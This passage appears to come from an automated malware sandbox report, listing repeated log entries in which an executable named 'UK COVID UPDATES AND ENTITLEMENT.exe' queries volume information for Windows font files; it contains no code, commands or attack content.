Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation
Source: C:\Users\user\Desktop\UK COVID UPDATES AND ENTITLEMENT.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation
